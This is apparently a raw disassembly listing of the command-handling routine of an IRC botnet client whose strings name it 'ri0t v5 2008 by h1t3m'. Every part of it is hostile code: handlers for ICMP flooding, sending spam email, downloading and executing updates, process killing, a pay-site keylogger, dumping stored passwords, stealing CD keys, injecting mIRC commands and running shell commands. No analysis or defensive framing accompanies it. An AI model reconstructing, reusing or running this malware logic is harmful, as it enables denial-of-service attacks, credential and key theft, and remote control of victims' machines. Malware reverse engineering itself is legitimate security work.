je 0x403935
push dword [ebp + ebx*4]
push str.killit
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403808
push dword [ebp + ebx*4]
push str.icmpggrgr
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403808
cmp dword [ebp + ebx*4 + 0xc], 0
je 0x4048e8
push dword [ebp + ebx*4]
push str.seed
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4037de
push dword [ebp + ebx*4]
push str.utorrent.seed
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4037de
push dword [ebp + ebx*4]
push 0x416388
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40364f
push dword [ebp + ebx*4]
push str.degsdgl
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x40364f
cmp dword [ebp + ebx*4 + 0x10], 0
je 0x4048e8
push dword [ebp + ebx*4]
push str.email
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4048e8
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x300]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
push dword [ebp + ebx*4 + 8]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
push dword [ebp + ebx*4 + 0xc]
mov edi, eax
lea eax, [esp + 0x86c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
push dword [ebp + ebx*4 + 0x10]
lea eax, [esp + 0xa74]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
push 0x4154fc
push 0x416418
push dword [ebp + ebx*4 + 0x14]
call fcn.00401267
push eax
lea eax, [esp + 0x488]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 0x30
lea eax, [esp + 0x50]
push eax
push 0x101
call dword [0x424ddc]
lea eax, [esp + 0x2fc]
push eax
call dword [0x424e48]
push 6
push 1
push 2
mov esi, eax
call dword [0x424df8]
push 2
mov ebx, eax
pop eax
mov word [esp + 0x440], ax
mov ecx, dword [esi + 0xc]
push edi
mov ecx, dword [ecx]
mov ecx, dword [ecx]
mov dword [esp + 0x448], ecx
call dword [0x424e0c]
mov word [esp + 0x442], ax
lea eax, [esp + 0x45c]
push eax
lea eax, [esp + 0x860]
push eax
lea eax, [esp + 0x464]
push eax
lea eax, [esp + 0xa68]
push eax
lea eax, [esp + 0x86c]
push eax
lea eax, [esp + 0xd70]
push str.helo__rndnick_nmail_from:___s__nrcpt_to:___s__ndata_nsubject:__s_nfrom:__s_n_s_n._n
push eax
call fcn.004013c0
add esp, 0x1c
lea eax, [esp + 0x440]
push 0x10
push eax
push ebx
call dword [0x424e00]
push 0
mov esi, 0x100
lea eax, [esp + 0x960]
push esi
push eax
push ebx
call dword [0x424e24]
lea eax, [esp + 0x95c]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
pop ecx
push eax
lea eax, [esp + 0xd64]
push eax
push ebx
call dword [0x424e1c]
push 0
push esi
lea eax, [esp + 0x964]
push eax
push ebx
call dword [0x424e24]
push ebx
call dword [0x424e58]
call dword [0x424df4]
lea eax, [esp + 0xa5c]
push eax
lea eax, [esp + 0x560]
push str._EMAIL_:_Message_sent_to__s.
push eax
call fcn.004013c0
add esp, 0xc
cmp dword [esp + 0x24], 0
jne 0x4047fd
push 0
push dword [esp + 0x38]
jmp 0x4047e3
push 0xff
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0xdc]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x103
push dword [ebp + ebx*4 + 8]
lea eax, [esp + 0x1e8]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
and dword [esp + 0x2f4], 0
add esp, 0x18
mov eax, dword [ebp + ebx*4 + 0xc]
test eax, eax
je 0x4036a1
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
pop ecx
mov dword [esp + 0x2e0], eax
jmp 0x4036a9
and dword [esp + 0x2e0], 0
mov eax, dword [ebp + ebx*4 + 0x10]
test eax, eax
je 0x4036c8
push 0x10
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
add esp, 0xc
mov dword [esp + 0x2e8], eax
jmp 0x4036d0
and dword [esp + 0x2e8], 0
mov eax, dword [ebp + ebx*4 + 0x14]
test eax, eax
je 0x4036e9
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
pop ecx
mov dword [esp + 0x2e4], eax
jmp 0x4036f1
and dword [esp + 0x2e4], 0
movzx eax, byte [esp + 0x7c1]
mov dword [esp + 0x2ec], eax
mov eax, dword [esp + 0x1170]
push 0x7f
push dword [ebp + 8]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push dword [ebp + ebx*4 + 8]
lea eax, [esp + 0x56c]
mov dword [esp + 0x304], edi
push dword [ebp + ebx*4 + 4]
mov dword [esp + 0x304], esi
push str._DOWNLOAD_:_Downloading_URL:__s_to:__s.
push eax
call fcn.004013c0
mov ebx, dword [esp + 0x118c]
lea eax, [esp + 0x578]
push ebx
push 0xc
push eax
call fcn.00401235
add esp, 0x28
mov dword [esp + 0x2d8], eax
lea eax, [esp + 0x1c]
xor ecx, ecx
push eax
push ecx
lea eax, [esp + 0x58]
push eax
push 0x401258
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x2d8], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x4037d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x560]
push str._DOWNLOAD_:_Failed_to_start_transfer_thread__error:___d_.
push eax
call fcn.004013c0
add esp, 0xc
test esi, esi
jne 0x4048e8
push esi
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push ebx
jmp 0x402f9d
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x2f8], 0
je 0x4037ca
jmp 0x4037af
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 4]
call fcn.0040140b
add esp, 0xc
test eax, eax
jne 0x4048e8
mov esi, dword [esp + 0x2c]
push eax
push edi
push str.Seeding_
push esi
jmp 0x402f96
push dword [ebp + ebx*4 + 8]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [esp + 0x424], eax
pop ecx
test eax, eax
jle 0x403911
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x304]
push 0x19
push eax
call fcn.00401208
movzx eax, byte [esp + 0x7da]
push dword [ebp + 8]
mov dword [esp + 0x434], eax
mov eax, dword [esp + 0x1180]
mov dword [esp + 0x30c], eax
lea eax, [esp + 0x3a9]
push 0x80
push eax
call fcn.00401208
push dword [ebp + ebx*4 + 8]
lea eax, [esp + 0x578]
mov dword [esp + 0x444], edi
push dword [ebp + ebx*4 + 4]
mov dword [esp + 0x44c], esi
push str._ICMP_:_Flooding:___s__for__s_seconds.
push 0x200
push eax
call fcn.00401208
xor ebx, ebx
lea eax, [esp + 0x588]
push ebx
push 9
push eax
call fcn.00401235
add esp, 0x38
mov dword [esp + 0x41c], eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x304]
push eax
push 0x401195
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x41c], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x403906
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x560]
push str._ICMP_:_Failed_to_start_flood_thread__error:___d_.
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x403927
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x430], ebx
je 0x4038fe
jmp 0x403927
lea eax, [esp + 0x55c]
push str._ICMP_:_Invalid_flood_time_must_be_greater_than_0.
push eax
call fcn.004013c0
pop ecx
pop ecx
xor ebx, ebx
test esi, esi
jne 0x4048e8
push ebx
jmp 0x402f8a
push dword [ebp + ebx*4 + 8]
push dword [ebp + ebx*4 + 4]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x403956
push dword [ebp + ebx*4 + 8]
push dword [ebp + ebx*4 + 4]
push str._FILE_:_Rename:__s_to:__s.
jmp 0x403963
push 0
push str._FILE_:
call fcn.00401488
push eax
lea eax, [esp + 0x568]
push 0x200
push eax
call fcn.00401208
add esp, 0x14
jmp 0x402f80
push 0x10
lea eax, [esp + 0x444]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x44
lea eax, [esp + 0x46c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push dword [ebp + ebx*4 + 4]
mov dword [esp + 0x478], 0x44
mov dword [esp + 0x4a4], 1
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0x1c
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffffb
add eax, 5
mov word [esp + 0x48c], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4047dd
push dword [ebp + ebx*4 + 8]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x4047dd
lea eax, [esp + 0x440]
push eax
lea eax, [esp + 0x460]
push eax
xor eax, eax
push eax
push eax
push 0x28
push 1
push eax
push eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
lea eax, [esp + 0x55c]
jne 0x403a2f
push str._EXEC_:_Couldnt_execute_file.
jmp 0x40413b
push ebx
push str._EXEC_:_Commands:__s
jmp 0x4041a7
push dword [ebp + ebx*4 + 8]
push str._ri0t_v5_
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403bd2
lea eax, [esp + 0x2fc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0xdc]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea eax, [esp + 0x44c]
push eax
call fcn.00401104
push eax
lea eax, [esp + 0x310]
push eax
lea eax, [esp + 0x1ec]
push str._s_s.exe
push eax
call fcn.004013c0
and dword [esp + 0x300], 0
add esp, 0x20
mov eax, dword [ebp + ebx*4 + 0xc]
mov dword [esp + 0x2dc], 1
test eax, eax
je 0x403ad3
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
pop ecx
mov dword [esp + 0x2e4], eax
jmp 0x403adb
and dword [esp + 0x2e4], 0
mov eax, dword [ebp + ebx*4 + 0x10]
test eax, eax
je 0x403afa
push 0x10
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
add esp, 0xc
mov dword [esp + 0x2e8], eax
jmp 0x403b02
and dword [esp + 0x2e8], 0
movzx eax, byte [esp + 0x7c1]
mov dword [esp + 0x2ec], eax
mov eax, dword [esp + 0x1170]
push 0x7f
push dword [ebp + 8]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x56c]
mov dword [esp + 0x304], edi
push str._UPDATE_:_Downloading_update_from:__s.
push eax
mov dword [esp + 0x308], esi
call fcn.004013c0
mov ebx, dword [esp + 0x1188]
lea eax, [esp + 0x574]
push ebx
push 0xd
push eax
call fcn.00401235
add esp, 0x24
mov dword [esp + 0x2d8], eax
lea eax, [esp + 0x1c]
xor ecx, ecx
push eax
push ecx
lea eax, [esp + 0x58]
push eax
push 0x401258
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x2d8], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x403bc6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x560]
push str._UPDATE_:_Failed_to_start_download_thread__error:___d_.
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x403bed
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x2f8], 0
je 0x403bbe
jmp 0x403bed
lea eax, [esp + 0x55c]
push str._UPDATE_:_Bot_ID_must_be_different_than_current_running_process.
push eax
call fcn.004013c0
mov ebx, dword [esp + 0x1178]
pop ecx
pop ecx
test esi, esi
jne 0x4047fd
push esi
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push ebx
jmp 0x4047f5
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4048e8
push dword [ebp + ebx*4 + 8]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
push eax
push dword [ebp + 8]
lea eax, [esp + 0x56c]
push dword [ebp + 4]
push dword [ebp]
push str._s__s__s_:_s
push eax
call fcn.004013c0
push 0x1ff
lea eax, [esp + 0x580]
push eax
push dword [esp + 0x38]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push dword [ebp + ebx*4 + 4]
mov esi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
call esi
add esp, 0x30
test eax, eax
jle 0x403ca7
push dword [ebp + ebx*4 + 4]
call esi
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x1194]
inc eax
jmp 0x4048eb
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4047fd
push dword [ebp + ebx*4 + 8]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ecx, dword [ebp + ebx*4 + 8]
inc ecx
mov dword [esp + 0x34], eax
push str.repeat
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 0x10
test eax, eax
lea eax, [esp + 0x55c]
je 0x403d88
mov esi, dword [esp + 0x2c]
push esi
push dword [ebp + 8]
push dword [ebp + 4]
push dword [ebp]
push str._s__s__s_:_s
push eax
call fcn.004013c0
push 0x1ff
lea eax, [esp + 0x578]
push eax
push dword [esp + 0x30]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [esp + 0x584]
push str._MAIN_:_Repeat:__s
push eax
call fcn.004013c0
push dword [ebp + ebx*4 + 4]
mov esi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
call esi
add esp, 0x34
test eax, eax
jle 0x4047fd
push dword [ebp + ebx*4 + 4]
call esi
add eax, dword [esp + 0x1198]
pop ecx
jmp 0x4048eb
push dword [esp + 0x2c]
push str._MAIN_:_Repeat_not_allowed_in_command_line:__s
jmp 0x4041a7
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4047fd
push dword [ebp + ebx*4 + 4]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4047fd
push eax
push str.MODE__s_r_n
jmp 0x4042f7
push dword [ebp + ebx*4 + 8]
push str.PART__s_r_n
push dword [esp + 0x1178]
call fcn.004013ca
push dword [ebp + ebx*4 + 4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
imul eax, eax, 0x3e8
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + ebx*4 + 0xc]
push dword [ebp + ebx*4 + 8]
jmp 0x4042d5
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4047fd
push dword [ebp + ebx*4 + 4]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
push dword [ebp + ebx*4]
mov esi, eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
push dword [ebp + ebx*4 + 8]
add eax, 2
add eax, edi
add eax, esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x10
test eax, eax
je 0x4047fd
push eax
lea eax, [esp + 0x560]
push 0x41608c
push eax
call fcn.004013c0
push 0
push 0
lea eax, [esp + 0x570]
push eax
push dword [ebp + ebx*4 + 4]
push dword [esp + 0x118c]
call fcn.004013e8
add esp, 0x20
jmp 0x4047fd
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4047fd
push dword [ebp + ebx*4 + 4]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
push dword [ebp + ebx*4]
mov esi, eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
push dword [ebp + ebx*4 + 8]
add eax, 2
add eax, edi
add eax, esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 0x10
test eax, eax
je 0x4047fd
push 0
push 0
push eax
push dword [ebp + ebx*4 + 4]
jmp 0x4047ee
push dword [ebp + ebx*4 + 4]
push 0x11
push str.Keylog
push str._KeyLog__pay_sites_keylogger_active.
jmp 0x402907
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4047fd
push dword [ebp + ebx*4 + 4]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4047fd
push eax
call fcn.0040100a
test eax, eax
lea eax, [esp + 0x560]
pop ecx
jne 0x403f0f
push str._mIRC_:_Client_not_open.
jmp 0x40413b
push str._mIRC_:_Command_sent.
jmp 0x40413b
push 0xff
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, dword [ebp + ebx*4 + 8]
add esp, 0xc
test eax, eax
je 0x403f4f
push 0xff
push eax
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add esp, 0xc
push 0x7f
push dword [ebp + 8]
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push dword [ebp + ebx*4 + 4]
mov eax, dword [esp + 0x1180]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x56c]
push str._VISIT_:_URL:__s.
push eax
mov dword [esp + 0x2f0], esi
mov dword [esp + 0x2f4], edi
call fcn.004013c0
xor ebx, ebx
lea eax, [esp + 0x574]
push ebx
push 0xb
push eax
call fcn.00401235
add esp, 0x24
mov dword [esp + 0x2d4], eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x58]
push eax
push 0x4012d5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x2d4], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x403ff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._VISIT_:_Failed_to_start_connection_thread__error:___d_.
jmp 0x404652
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x2e0], ebx
je 0x403feb
jmp 0x4047fd
push dword [ebp + ebx*4 + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40402f
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x560]
push str._FILE_:_Deleted__s.
push 0x200
push eax
call fcn.00401208
jmp 0x404127
push 0
push str._FILE_:
call fcn.00401488
push eax
lea eax, [esp + 0x568]
push 0x200
push eax
call fcn.00401208
add esp, 0x14
jmp 0x4047dd
push dword [ebp + ebx*4 + 4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
push eax
call fcn.0040114a
pop ecx
pop ecx
push dword [ebp + ebx*4 + 4]
cmp eax, 1
lea eax, [esp + 0x560]
jne 0x404082
push str._PROC_:_Process_killed_ID:__s
jmp 0x402f61
push str._PROC_:_Failed_to_terminate_process_ID:__s
jmp 0x402f61
xor eax, eax
push eax
push eax
push dword [ebp + ebx*4 + 4]
push edi
push eax
push dword [esp + 0x1184]
call fcn.00401357
add esp, 0x18
cmp eax, 1
lea eax, [esp + 0x55c]
push dword [ebp + ebx*4 + 4]
jne 0x4040bf
push str._PROC_:_Process_killed:__s
jmp 0x4041a7
push str._PROC_:_Failed_to_terminate_process:__s
jmp 0x4041a7
push dword [ebp + ebx*4 + 4]
call dword [0x424e08]
mov dword [esp + 0x30], eax
cmp eax, 0xffffffff
je 0x4040f5
push 2
pop eax
push eax
push 4
lea eax, [esp + 0x38]
push eax
call dword [0x424e4c]
test eax, eax
je 0x40412f
push dword [eax]
jmp 0x404111
push dword [ebp + ebx*4 + 4]
call dword [0x424e48]
test eax, eax
je 0x40412f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [0x424e04]
push eax
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x564]
push str._DNS_:_Lookup:__s_____s.
push eax
call fcn.004013c0
add esp, 0x10
jmp 0x4047dd
push str._DNS_:_Couldnt_resolve_hostname.
lea eax, [esp + 0x560]
push eax
call fcn.004013c0
pop ecx
pop ecx
jmp 0x4047dd
push 0x7f
push dword [ebp + ebx*4 + 4]
push dword [esp + 0x4c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push dword [ebp + ebx*4 + 4]
lea eax, [esp + 0x56c]
push str._MAIN_:_Server_changed_to:__s.
push eax
call fcn.004013c0
add esp, 0x18
jmp 0x402f80
push 5
xor eax, eax
push eax
push eax
push dword [ebp + ebx*4 + 4]
push str.open
push eax
call dword [0x424eec]
push dword [ebp + ebx*4 + 4]
test eax, eax
lea eax, [esp + 0x560]
je 0x4041a2
push str._SHELL_:_File_opened:__s
jmp 0x4041a7
push str._SHELL_:_Couldnt_open_file:__s
push eax
call fcn.004013c0
jmp 0x404361
mov eax, dword [ebp + ebx*4 + 4]
mov al, byte [eax]
mov byte [0x4208ea], al
mov eax, dword [ebp + ebx*4 + 4]
movsx eax, byte [eax]
push eax
push str._MAIN_:_Prefix_changed_to:__c.
jmp 0x402f5a
push dword [ebp + ebx*4 + 4]
push 0x415998
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x404262
call fcn.00401140
test eax, eax
jle 0x4041f7
push eax
push str._THREADS_:_Stopped:__d_thread_s_.
jmp 0x402f5a
push str._THREADS_:_No_active_threads_found.
jmp 0x402f71
cmp dword [ebp + ebx*4], 0
je 0x4048e8
push dword [ebp + ebx*4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
push eax
call fcn.004011ea
pop ecx
pop ecx
push dword [ebp + ebx*4]
test eax, eax
lea eax, [esp + 0x560]
je 0x404234
push str._THREADS_:_Killed_thread:__s.
jmp 0x404239
push str._THREADS_:_Failed_to_kill_thread:__s.
push eax
call fcn.004013c0
add esp, 0xc
test esi, esi
jne 0x404262
push esi
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push dword [esp + 0x1180]
call fcn.004013e8
add esp, 0x14
inc ebx
cmp ebx, 1
jb 0x404201
jmp 0x4048e8
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4047fd
push dword [ebp + ebx*4 + 4]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x4047fd
push ebx
push str._s_r_n
push dword [esp + 0x1178]
call fcn.004013ca
push ebx
push str._MAIN_:_Sent_IRC_Raw:__s.
lea eax, [esp + 0x570]
push 0x200
push eax
call fcn.00401208
add esp, 0x1c
jmp 0x4047dd
push dword [ebp + ebx*4 + 4]
push str.PART__s_r_n
jmp 0x4042f7
push dword [ebp + ebx*4 + 8]
push dword [ebp + ebx*4 + 4]
push str.JOIN__s__s_r_n
push dword [esp + 0x117c]
call fcn.004013ca
add esp, 0x10
jmp 0x4047fd
push dword [ebp + ebx*4 + 4]
push str.NICK__s_r_n
push dword [esp + 0x1178]
call fcn.004013ca
jmp 0x40465f
mov eax, dword [0x424ecc]
test eax, eax
je 0x40432c
call eax
test eax, eax
lea eax, [esp + 0x55c]
je 0x404325
push str._FLUSHDNS_:_DNS_cache_flushed.
jmp 0x404356
push str._FLUSHDNS_:_Failed_to_flush_DNS_cache.
jmp 0x404356
push str._FLUSHDNS_:_Failed_to_load_dnsapi.dll.
lea eax, [esp + 0x560]
jmp 0x404356
call fcn.004013a7
test eax, eax
lea eax, [esp + 0x55c]
je 0x404351
push str._FLUSHDNS_:_ARP_cache_flushed.
jmp 0x404356
push str._FLUSHDNS_:_Failed_to_flush_ARP_cache.
push 0x200
push eax
call fcn.00401208
add esp, 0xc
jmp 0x4047dd
push dword [ebp + 8]
mov ebx, dword [esp + 0x1174]
lea eax, [esp + 0x464]
push eax
mov dword [esp + 0x464], ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
push str..::_ri0t_v5___2008_by_h1t3m_::.
lea eax, [esp + 0x568]
push str..::__PassStore_Executed__::.
push eax
call fcn.004013c0
add esp, 0x14
test esi, esi
jne 0x4043bb
push esi
push edi
lea eax, [esp + 0x564]
push eax
push dword [ebp + 8]
push ebx
call fcn.004013e8
add esp, 0x14
xor ecx, ecx
lea eax, [esp + 0x45c]
push ecx
push ecx
push eax
push 0x401311
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x4048e8
push edi
push dword [ebp + 8]
push dword [esp + 0x1178]
call fcn.004014f1
lea eax, [esp + 0x568]
push str._CDKEYS_:_Search_completed.
push eax
call fcn.004013c0
jmp 0x403975
push 0x14
call fcn.00401032
pop ecx
test eax, eax
jle 0x404420
test esi, esi
jne 0x4048e8
push esi
push edi
push str._PROC_:_Already_running.
jmp 0x402f93
push dword [ebp + 8]
lea eax, [esp + 0x464]
push 0x80
push eax
call fcn.00401208
mov eax, dword [esp + 0x117c]
add esp, 0xc
and dword [esp + 0x4e4], 0
mov dword [esp + 0x45c], eax
mov eax, dword [ebp + ebx*4 + 4]
mov dword [esp + 0x4e8], edi
mov dword [esp + 0x4ec], esi
test eax, eax
je 0x404487
push eax
push str.full
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
mov ecx, dword [esp + 0x4e4]
test eax, eax
push 1
pop eax
cmove ecx, eax
mov dword [esp + 0x4e4], ecx
lea eax, [esp + 0x55c]
push str._PROCS_:_Proccess_list.
push eax
call fcn.004013c0
xor ebx, ebx
lea eax, [esp + 0x564]
push ebx
push 0x14
push eax
call fcn.00401235
add esp, 0x14
mov dword [esp + 0x4e0], eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x464]
push eax
push 0x401366
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
imul ecx, dword [esp + 0x4e0], 0x234
mov dword [ecx + 0x4254cc], eax
test eax, eax
jne 0x40450e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x560]
push str._PROCS_:_Failed_to_start_listing_thread__error:___d_.
push eax
call fcn.004013c0
add esp, 0xc
jmp 0x4048e8
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x4f0], ebx
je 0x404506
jmp 0x4048e8
push dword [ebp + 4]
push 0x4153bc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x404546
push dword [ebp + 4]
push str.TOPIC
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4048e8
test esi, esi
jne 0x404563
push esi
push edi
push str._MAIN_:_Removing_Bot.
push dword [ebp + 8]
push dword [esp + 0x1180]
call fcn.004013e8
add esp, 0x14
call fcn.00401140
push dword [esp + 0x1170]
call dword [0x424e58]
call dword [0x424df4]
call fcn.00401285
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp + 8]
lea eax, [esp + 0x464]
push 0x80
push eax
call fcn.00401208
mov eax, dword [esp + 0x117c]
add esp, 0xc
mov dword [esp + 0x45c], eax
mov eax, dword [ebp + ebx*4 + 4]
mov dword [esp + 0x4e8], edi
mov dword [esp + 0x4ec], esi
test eax, eax
je 0x4045e1
push 0x415644
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
neg eax
pop ecx
sbb eax, eax
inc eax
xor ebx, ebx
pop ecx
mov dword [esp + 0x4e4], eax
jmp 0x4045ea
xor ebx, ebx
mov dword [esp + 0x4e4], ebx
lea eax, [esp + 0x55c]
push str._THREADS_:_List_threads.
push eax
call fcn.004013c0
push ebx
lea eax, [esp + 0x568]
push 0x16
push eax
call fcn.00401235
add esp, 0x14
mov dword [esp + 0x4e0], eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x464]
push eax
push 0x4011db
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
